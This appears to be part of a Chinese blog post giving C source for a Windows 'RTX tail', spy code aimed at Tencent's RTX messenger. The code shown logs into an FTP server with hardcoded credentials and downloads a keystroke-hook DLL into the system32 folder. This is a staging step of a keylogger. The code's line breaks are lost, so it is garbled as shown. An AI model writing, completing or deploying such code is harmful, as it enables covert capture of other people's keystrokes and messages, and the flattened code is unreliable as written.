简单实现windows下RTX尾巴(中)(c语言)
rtxtail.c
#include <windows.h>#include <stdio.h>#include <wininet.h>#include <process.h>#pragma comment(lib, "WININET.LIB")HWND hLast;char m_store[MAX_PATH];const char *hookedName = "HOOKED RTX";const char *unhookedName = "UNHOOKED RTX";//down load hook dll using ftp wayBOOL DownloadHookDll(){BOOL bSuccess;HINTERNET hIntSession;HINTERNET hFtpSession;char szAppName[] = "rtxkeyhook";char szServer[] = "192.168.101.225";char szUser[] = "qpid";char szPwd[] = "qpid";char szDirectory[] = "/home/qpid/mydll";char szFile[] = "RTXKeyHook.dll";char szCurDir[MAX_PATH];char szNewFile[] = "c:\\windows\\system32\\RTXKeyHook.dll";DWORD dwCurDir = MAX_PATH;printf("try to open intSession...\n");hIntSession = InternetOpen(szAppName, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);if(hIntSession == NULL) {printf("can not open intSession!\n");return FALSE;}printf("intSession is open!\n");printf("try to open ftpSession...\n");hFtpSession = InternetConnect(hIntSession, szServer, INTERNET_DEFAULT_FTP_PORT, szUser, szPwd, INTERNET_SERVICE_FTP, 0, 0);if(hFtpSession == NULL) {InternetCloseHandle(hIntSession);printf("can not open ftpSession!\n");return FALSE;}printf("ftpSession is open!\n");ZeroMemory(szCurDir, sizeof(szCurDir));FtpGetCurrentDirectory(hFtpSession, szCurDir, &dwCurDir);printf("current dir is %s .\n", szCurDir);printf("try to set current directory...\n");bSuccess = FtpSetCurrentDirectory(hFtpSession, szDirectory);if(!bSuccess){InternetCloseHandle(hFtpSession);InternetCloseHandle(hIntSession);printf("can not set directory!\n");return FALSE;}printf("set directory ok!\n");printf("try to get file...\n");FtpGetFile(hFtpSession, szFile, szNewFile, TRUE, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);InternetCloseHandle(hFtpSession);InternetCloseHandle(hIntSession);return TRUE;}